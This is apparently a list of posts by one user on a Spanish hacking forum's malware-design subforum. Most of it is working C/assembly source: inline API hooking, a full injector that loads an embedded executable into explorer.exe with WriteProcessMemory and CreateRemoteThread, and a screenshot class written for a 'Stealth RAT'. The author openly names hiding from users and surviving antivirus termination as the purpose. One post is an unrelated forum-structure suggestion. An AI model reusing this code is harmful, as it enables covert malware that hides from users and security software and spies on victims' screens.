    317. for(;miHookStruct->previousHookStruct!=NULL;)
    318. {
    319. miHookStruct=miHookStruct->previousHookStruct;
    320. }
    321.  
    322. //Volvemos a instalar todos los Hooks
    323. for(;miHookStruct!=NULL;)
    324. {
    325. //Copiamos los X primeros bytes de la api a nuestro buffer
    326. mCopyMemory(miHookStruct->lpBuffer,miHookStruct->lpAPI,11);
    327.  
    328. //Cambiamos los la primera dirección que pushea 'Caller' por la un puntero a miHookStruct
    329. mCopyMemory((LPSTR)Caller+1,(LPSTR)&miHookStruct,4);
    330.  
    331. //Cambiamos los la segunda dirección que pushea 'Caller' por la dirección de ControlFunction
    332. LPSTR dirControlFunction=(LPSTR)ControlFunction;
    333. mCopyMemory((LPSTR)Caller+6,(LPSTR)&dirControlFunction,4);
    334.  
    335. //Cambiamos los 10 primeros bytes de la API por la función Caller
    336. mCopyMemory(miHookStruct->lpAPI,(LPSTR)Caller,11);
    337. FlushInstructionCache(GetCurrentProcess(),0,0);
    338. miHookStruct=miHookStruct->nextHookStruct;
    339. }
    340. __asm popad;
    341. }
    342.  
    343. //Función a la que salta la API hookeda en que se inyectó 'Caller'
    344. void __declspec(naked) ControlFunction()
    345. {
    346. __asm
    347. {
    348. jmp go
    349.  
    350. miHookStruct:
    351. nop
    352. nop
    353. nop
    354. nop
    355.  
    356. retornar:
    357. _emit 0x68 //push
    358. dirRetorno:
    359. nop
    360. nop
    361. nop
    362. nop
    363. _emit 0xC3 //ret
    364.  
    365. RetornoApi:
    366. nop
    367. nop
    368. nop
    369. nop
    370. Temp:
    371. nop
    372. nop
    373. nop
    374. nop
    375.  
    376. go:
    377. //Sólo modificamos eax para no modificar más registros de los que modifica la API
    378. //Copiamos a Temp el primer parámetro que hay sobre la pila (lpHookStruct)
    379. mov eax,Temp
    380. push dword ptr ds:[esp]
    381. pop dword ptr ds:[eax]
    382.  
    383. //Copiamos lpHookStruct a miHookStruct
    384. push 4
    385. push Temp
    386. push miHookStruct
    387. call mCopyMemory
    388. add esp,12 //Restauramos la pila
    389.  
    390. //Quitamos lpHookStruct de la pila
    391. add esp,4
    392.  
    393. //Copiamos a Temp el primer parámetro que hay sobre la pila (dirección de retorno)
    394. mov eax,Temp
    395. push dword ptr ds:[esp]
    396. pop dword ptr ds:[eax]
    397.  
    398. //Copiamos la dirección de retorno a dirRetorno
    399. push 4
    400. push Temp
    401. push dirRetorno
    402. call mCopyMemory
    403. add esp,12 //Restauramos la pila
    404.  
    405. //Quitamos la direcc de retorno de la pila
    406. add esp,4
    407.  
    408. //LLamamos a UninstallHooks para desinstalar todos los hooks antes de llamar a la función que recive el Hook
    409. mov eax,miHookStruct
    410. push dword ptr ds:[eax]
    411. call UninstallHooks
    412. add esp,4
    413.  
    414. //Llamamos a la función que recive el hook y copiamos el retorno a RetornoApi
    415. mov eax,miHookStruct
    416. mov eax,dword ptr ds:[eax]
    417. call dword ptr ds:[eax+0x04]
    418. push eax
    419. mov eax,RetornoApi
    420. pop dword ptr ds:[eax]
    421.  
    422. //Restauramos todos los Hooks
    423. mov eax,miHookStruct
    424. push dword ptr ds:[eax]
    425. call RestoreHooks
    426. add esp,4
    427.  
    428. //Movemos a eax el retorno de la API
    429. mov eax,RetornoApi
    430. push dword ptr ds:[eax]
    431. pop eax
    432.  
    433. //Saltamos a la dirección de retorno
    434. jmp retornar
    435. }
    436. }
    437.  
    438. void HookApi(HookStruct* miHookStruct)
    439. {
    440. __asm pushad;
    441. //Damos permisos de escritura, lectura y ejecución a nuestro buffer
    442. DWORD OldProtection;
    443. VirtualProtect((LPVOID)miHookStruct->lpBuffer,11,PAGE_EXECUTE_READWRITE,&OldProtection);
    444.  
    445. // Le damos permisos de ejecución a los X primeros bytes de la api
    446. VirtualProtect((LPVOID)miHookStruct->lpAPI,11,PAGE_EXECUTE_READWRITE,&OldProtection);
    447.  
    448. //Copiamos los X primeros bytes de la api a nuestro buffer
    449. mCopyMemory(miHookStruct->lpBuffer,miHookStruct->lpAPI,11);
    450.  
    451. //Cambiamos los la primera dirección que pushea 'Caller' por la un puntero a miHookStruct
    452. mCopyMemory((LPSTR)Caller+1,(LPSTR)&miHookStruct,4);
    453.  
    454. //Cambiamos los la segunda dirección que pushea 'Caller' por la dirección de ControlFunction
    455. LPSTR dirControlFunction=(LPSTR)ControlFunction;
    456. mCopyMemory((LPSTR)Caller+6,(LPSTR)&dirControlFunction,4);
    457.  
    458. //Cambiamos los 10 primeros bytes de la API por la función Caller
    459. mCopyMemory(miHookStruct->lpAPI,(LPSTR)Caller,11);
    460.  
    461. FlushInstructionCache(GetCurrentProcess(),0,0);
    462. __asm popad;
    463. }
    464.  
    465. //Función que simula RtlCopyMemory
    466. void __declspec(naked) mCopyMemory(LPSTR bEscritura,LPSTR bLectura,DWORD lenBuffer)
    467. {
    468. __asm
    469. {
    470. pushad
    471. mov esi,[esp+0x28] //bLectura
    472. mov ecx,[esp+0x2C] //lenBuffer
    473. mov edi,[esp+0x24] //bEscritura
    474. dec ecx
    475.  
    476. bCopyMemory:
    477. dec ecx
    478. movsb
    479. cmp ecx,0
    480. jge bCopyMemory
    481. popad
    482. ret
    483. }
    484. }
    485.  

    Descargar Ejemplo

    Nota: El ejecutable hookeado en el proceso de ejemplo se puede encontrar en la carpeta release, junto con el source del mismo.

    Saludos  :P
    8  Seguridad Informática / Análisis y Diseño de Malware / Inyección de archivos en un proceso [1 proceso 2 ejecutables] en: 8 Enero 2010, 01:22 am
    Inyección de Archivos en un Proceso

    Cuando se habla de inyección de archivos o de inyección simplemente, se entiende por ello inyección en otro proceso, sin embargo, todos los códigos que vi sobre ésto (que no son pocos), no hacen propiamente una inyección, sinó que crean un proceso y se "inyectan" en el proceso creado, así podemos ver en mucho malware un proceso llamado "IEXPLORER.EXE" cuando no utilizamos ese navegador, un "msnmsgr.exe" cuando no tenemos el messenger abierto o dos procesos "explorer.exe" en ejecución.

    Lo que hace éste código es inyectarse en 'explorer.exe', abriendo el proceso y creando un hilo hacia nuestro código con CreateRemoteThread. Ésto es bastante fácil de hacer cuando simplemente inyectamos un código, como puede ser una shellcode o algo así, pero la cosa cambia si queremos inyectar un ejecutable completo, no lo podemos cargar en el ImageBase puesto que seguramente ya estará ocupado por el ejecutable del explorer (00400000), y todas las direcciones virtuales absolutas (no relativas al imagebase) estarán rotas. Para solucionar éste problema he utilizado (como muchos ya habrán supuesto  :xD) la Relocation Table, pudiendo así con esa tabla inyectar mi ejecutable en un proceso remoto, rebasearlo y cargar la IAT. Luego con CreateRemoteThread se crea un hilo hacia el EntryPoint y ya tenemos dos ejecutables corriendo en un mismo proceso  :laugh:.

    Aquí os dejo el código que inyecta en 'explorer.exe' un ejecutable que guarda en el resource:

    Código
    1. #pragma comment (linker,"/NODEFAULTLIB")
    2. #pragma comment (linker,"/ENTRY:main")
    3.  
    4. #include <windows.h>
    5. #include <Tlhelp32.h>
    6. #include "resource.h"
    7.  
    8. int main()
    9. {
    10. PIMAGE_DOS_HEADER IDH;
    11. PIMAGE_NT_HEADERS INTH;
    12. PIMAGE_SECTION_HEADER ISH;
    13.  
    14. //Cargamos el resource
    15. HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
    16. DWORD ResourceSize=SizeofResource(NULL,hResource);
    17. HGLOBAL hGlob=LoadResource(NULL,hResource);
    18. LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);
    19.  
    20. //Obtenemos la cabecera DOS y PE en las estructuras
    21. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
    22. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
    23.  
    24. DWORD PID=0;
    25. HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    26. PROCESSENTRY32 pInfo;
    27. pInfo.dwSize=sizeof(PROCESSENTRY32);
    28.  
    29. //Obtenemos el PID del 'explorer.exe'
    30. Process32First(hSnapshot,&pInfo);
    31. for(;lstrcmpA(pInfo.szExeFile,"explorer.exe");)
    32. {
    33. Process32Next(hSnapshot,&pInfo);
    34. }
    35. CloseHandle(hSnapshot);
    36. PID=pInfo.th32ProcessID;
    37.  
    38. //Abrimos el proceso en el que nos inyectaremos
    39. HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);
    40.  
    41. //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
    42. LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    43.  
    44. //Copiamos la cabecera DOS y PE al buffer
    45. WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0);
    46.  
    47. //Copiamos las secciones en su VirtualOffset en el buffer
    48. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    49. {
    50. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    51. WriteProcessMemory(hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0);
    52. }
    53.  
    54. //Calculamos el delta entre la dirección del buffer y el ImageBase
    55. DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);
    56.  
    57. //------------------------------------------------------------
    58. /* -Reubicamos la dirección base del ejecutable :D- */
    59. //------------------------------------------------------------
    60.  
    61. //Si no hay tabla de reubicación, salimos
    62. if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
    63. {
    64. MessageBoxA(0,"No hay relocation table!",0,0);
    65. return false;
    66. }
    67.  
    68. //Obteemos el Image Base Relocation
    69. //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para
    70. //poder trabajar con él más comodamente
    71. PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION));
    72. PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    73. ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
    74.  
    75. //Vamos recorriendo todas las etradas del bloque
    76. for (DWORD n=0;IBR->VirtualAddress>0;n++)
    77. {
    78. //Obtenemos el Bloque de reubicación
    79. LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);
    80.  
    81. //Obtenemos la primera entrada del bloque
    82. LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));
    83.  
    84. //Recorremos todas las entradas del bloque
    85. for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
    86. {
    87. WORD valor;
    88. ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0);
    89. //Obtenemos los 4 bits que definen el tipo de reubicación
    90. DWORD type=valor>>12;
    91.  
    92. //Obtenemos los 12 bits que definen la dirección de la reubicación
    93. DWORD offset=valor&0xFFF;
    94.  
    95. //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
    96. if(type==IMAGE_REL_BASED_HIGHLOW)
    97. {
    98. //Añadimos a la dirección que depende del imagebase original
    99. //el delta entre el imagebase y nuestra dirección base
    100. LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
    101. DWORD NewValue;
    102. ReadProcessMemory(hProcess,newAddr,&NewValue,4,0);
    103. NewValue+=Delta;
    104. WriteProcessMemory(hProcess,newAddr,&NewValue,4,0);
    105. }
    106. }
    107.  
    108. //Vamos al siguiente bloque
    109. PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock);
    110. ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
    111. }
    112. GlobalFree(IBR);
    113.  
    114.  
    115. //---------------------------------------------------------------------
    116. /* -Cargamos los valores de la IAT para poder llamar a las apis- */
    117. //---------------------------------------------------------------------
    118.  
    119. PIMAGE_THUNK_DATA ITD;
    120. PIMAGE_THUNK_DATA PITD;
    121. PIMAGE_IMPORT_BY_NAME IIBN;
    122.  
    123. //Comprobamos si hay Import Data Descriptor
    124. if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
    125. {
    126.  
    127. //Obtenemos el Import Data Descriptor
    128. //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para
    129. //poder trabajar con él más comodamente
    130. PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR));
    131. PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    132. ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
    133.  
    134. //Vamos recorriendo todas las Dll's importadas por el ejecutable
    135. for (;IID->Name;)
    136. {
    137. //Obtenemos la longitud del nombre de la dll
    138. DWORD szName=0;
    139. CHAR miByte=1;
    140. for(int i=0;miByte;i++)
    141. {
    142. szName=i;
    143. ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
    144. }
    145.  
    146. //Obtenemos el nombre de la dll
    147. LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
    148. ReadProcessMemory(hProcess,ExeBuffer+IID->Name,lpName,szName+1,0);
    149.  
    150. //Cargamos la dll
    151. HMODULE hLib=LoadLibraryA(lpName);
    152.  
    153. //Obtenemos la dirección al primer miembro del array Image Thunk Data's
    154. PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
    155. ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA));
    156. ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
    157.  
    158. //Vamos recorriendo las funciones importadas
    159. for (;ITD->u1.Ordinal;)
    160. {
    161. miByte=1;
    162. //Obtenemos la longitud del nombre de la API
    163. for(int i=0;miByte;i++)
    164. {
    165. szName=i;
    166. LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
    167. puntero+=i;
    168. ReadProcessMemory(hProcess,puntero,&miByte,1,0);
    169. }
    170.  
    171. //Cargamos el Image Import By Name para obtener el nombre
    172. IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName);
    173. ReadProcessMemory(hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);
    174.  
    175. //Obtenemos la dirección de la función y la guardamos en la IAT
    176. DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
    177. WriteProcessMemory(hProcess,ExeBuffer+IID->FirstThunk,&lpAPI,4,0); /* Ejem!! Vaya metedura xD */
    178.  
    179. PITD++;
    180. ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
    181. }
    182. PIID++;
    183. ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
    184. GlobalFree(lpName);
    185. GlobalFree(ITD);
    186. }
    187. GlobalFree(IID);
    188. }
    189.  
    190. //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
    191. DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;
    192.  
    193. //Llamamos al EntryPoint
    194. CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPoint,0,0,0);
    195.  
    196. return 0;
    197. }
    198.  

    Descargar Source

    APLICACIONES

    La primera aplicación que salta a la vista es la ocultación, si nos podemos inyectar en un proceso evitamos tener que usar otras técnicas para ocultar nuestro proceso, y a la vez nos proporciona protección frente a un antivirus o algún programa de protección que trate de terminar el proceso, puesto que de hacerlo (como seguro hará), terminará la ejecución de los dos ejecutables, el nuestro y el exporer.

    Otra aplicación que se me ocurre es un poco más complicada de explicar que espero poder presentar el código en breve, seguro a muchos les gustará  ;).

    Saludos
    9  Foros Generales / Sugerencias y dudas sobre el Foro / [Propuesta] Subforo de ingeniería inversa más visible en: 30 Diciembre 2009, 18:31 pm
    Bueno, pues cómo dice el título del tema, a mi parecer, éste subforo está un poco escondido, cosa que no debería de pasar en un foro de ésta temática. La ingeniería inversa es una de las ramas más gruesas del "mundo underground", véase su relación con la programación (sobre todo a bajo nivel), la búsqueda de vulnerabilidades en aplicaciones, y el análisis y el diseño del malware. Son temas que se tratan en gran parte de los subforos, sin embargo el de más peso está medio escondido:

    No hay sección sobre Cracking?
    Sugerencia: Una sección de Cracking¿?
    ¿Donde está la sección Ingeniería Inversa?
    Las preguntas de Cracking en q foro van?
    Me presento y sugerencia

    Entiendo que no puede haber demasiados subforos en la página principal del foro, pero veo como un error esconder subforos de "tanto peso".

    Saludos
    10  Seguridad Informática / Análisis y Diseño de Malware / [SRC][C++] ClsScreenCapture en: 29 Diciembre 2009, 11:43 am
    Bueno, había hecho ésta clase para el Stealth RAT, pero como al final no la usaré, puesto que no es todo lo rápido que quisiera y ya tengo un método alternativo, la posteo para quien le pueda servir  :P. Hace una captura de pantalla y la comprime a JPEG (o PNG, con cambiar una línea se pueden elegir otros formatos) en memoria, por lo que es más rápido que otros códigos que guardan la captura en disco. Espero que a alguien le sirva  :P.

    ClsScreenShot.h:
    Código
    1. //---------------------------------------------------------------------------------------------------------
    2. //Autor: Hacker_Zero
    3. //Fecha: 29-12-09
    4. //Descripción: Clase ClsScreenShot, captura de pantalla comprimida en diferentes formatos
    5. //GDI+: Incuído en Windows XP o superior
    6. //Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html>
    7. //---------------------------------------------------------------------------------------------------------
    8.  
    9. #ifndef SCREENSHOT_H
    10. #define SCREENSHOT_H
    11.  
    12. #include <windows.h>
    13. #include <gdiplus.h>
    14.  
    15. using namespace Gdiplus;
    16.  
    17. class cScreenShot
    18. {
    19. public:
    20. cScreenShot();
    21. ~cScreenShot();
    22. HBITMAP CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom);
    23. CLSID GetEncoder(WCHAR* lpEnconder);
    24. LPSTR ComprimirImagen(HBITMAP hBitmap);
    25. VOID GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize);
    26. DWORD ImageSize;
    27. RECT RC;
    28.  
    29. private:
    30. GdiplusStartupInput GDIStartup;
    31. unsigned long GDIToken;
    32. EncoderParameters EP;
    33. ImageCodecInfo* ICI;
    34. CLSID Codec;
    35. IStream* lpIStream;
    36. unsigned int Codecs;
    37. unsigned int CodecSize;
    38. HDC hDC;
    39. HDC hCCDC;
    40. HBITMAP hBitmap;
    41. HBITMAP hOldBitmap;
    42. ULARGE_INTEGER StreamSize;
    43. LARGE_INTEGER StreamSeek;
    44. ULONG Read;
    45. DWORD dwRead;
    46. LPSTR lpBuffer;
    47. HANDLE hFile;
    48. };
    49.  
    50. #endif
    51.  

    ClsScreenShot.cpp
    Código
    1. #include "ClsScreenShot.h"
    2.  
    3. cScreenShot::cScreenShot()
    4. {
    5. GdiplusStartup(&GDIToken,&GDIStartup,0);
    6. GetWindowRect(GetDesktopWindow(),&RC);
    7. }
    8.  
    9. cScreenShot::~cScreenShot()
    10. {
    11. GdiplusShutdown(GDIToken);
    12. }
    13.  
    14. HBITMAP cScreenShot::CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom)
    15. {
    16. hDC=CreateDCA("DISPLAY",0,0,0);
    17. hCCDC=CreateCompatibleDC(hDC);
    18. hBitmap=CreateCompatibleBitmap(hDC,dwRight,dwBottom);
    19. hOldBitmap=(HBITMAP)SelectObject(hCCDC,hBitmap);
    20. BitBlt(hCCDC,0,0,dwRight,dwBottom,hDC,dwLeft,dwTop,SRCCOPY);
    21.  
    22. DeleteDC(hDC);
    23. DeleteDC(hCCDC);
    24.  
    25. return hBitmap;
    26. }
    27.  
    28. CLSID cScreenShot::GetEncoder(WCHAR* lpEnconder)
    29. {
    30. GetImageEncodersSize(&Codecs,&CodecSize);
    31. ICI=(ImageCodecInfo*)GlobalAlloc(GPTR,CodecSize);
    32. GetImageEncoders(Codecs,CodecSize,ICI);
    33.  
    34. for(DWORD i=1;wcscmp(ICI[i-1].MimeType,lpEnconder);i++)
    35. {
    36. Codec=ICI[i].Clsid;
    37. }
    38.  
    39. GlobalFree(ICI);
    40.  
    41. return Codec;
    42. }
    43.  
    44. LPSTR cScreenShot::ComprimirImagen(HBITMAP hBitmap)
    45. {
    46. Bitmap bmp(hBitmap,NULL);
    47.  
    48. CreateStreamOnHGlobal(NULL,TRUE,(LPSTREAM*)&lpIStream);
    49.  
    50. Codec=GetEncoder(L"image/jpeg");
    51. //~Codec=GetEncoder(L"image/png"); ~//
    52.  
    53. EncoderParameters EP;
    54. DWORD Quality=40;
    55. EP.Count=1;
    56. EP.Parameter[0].NumberOfValues=1;
    57. EP.Parameter[0].Guid=EncoderQuality;
    58. EP.Parameter[0].Type=EncoderParameterValueTypeLong;
    59. EP.Parameter[0].Value=&Quality;
    60.  
    61. //bmp.SetResolution(550,600);
    62. bmp.Save(lpIStream,&Codec,&EP);
    63.  
    64. StreamSeek.QuadPart=0;
    65. lpIStream->Seek(StreamSeek,STREAM_SEEK_END,&StreamSize);
    66. lpIStream->Seek(StreamSeek,STREAM_SEEK_SET,NULL);
    67.  
    68. lpBuffer=(LPSTR)GlobalAlloc(GPTR,(SIZE_T)StreamSize.QuadPart);
    69. lpIStream->Read(lpBuffer,(ULONG)StreamSize.QuadPart,&Read);
    70. ImageSize=(DWORD)Read;
    71. return lpBuffer;
    72. }
    73.  
    74. VOID cScreenShot::GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize)
    75. {
    76. hFile=CreateFileA(lpFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
    77. WriteFile(hFile,lpImage,ImageSize,&dwRead,0);
    78. CloseHandle(hFile);
    79. }
    80.  

    Ejemplo de uso:
    Código
    1. ClsScreenShot miScreenShot;
    2.  
    3. //Creamos una captura
    4. HBITMAP hBitmap=miScreenShot.CrearCapturaPantalla(miScreenShot.RC.left,miScreenShot.RC.top,miScreenShot.RC.right,miScreenShot.RC.bottom);
    5.  
    6. //Convertimos el Bitmap a Jpeg
    7. LPSTR JpegImage=miScreenShot.ComprimirImagen(hBitmap);
    8.  
    9. //La guardamos en disco
    10. miScreenShot.GuardarImagen("C:\\captura.jpeg",JpegImage,miScreenShot.ImageSize);
    11.  

    Saludos  ;)
    Páginas: [1] 2 3
    WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines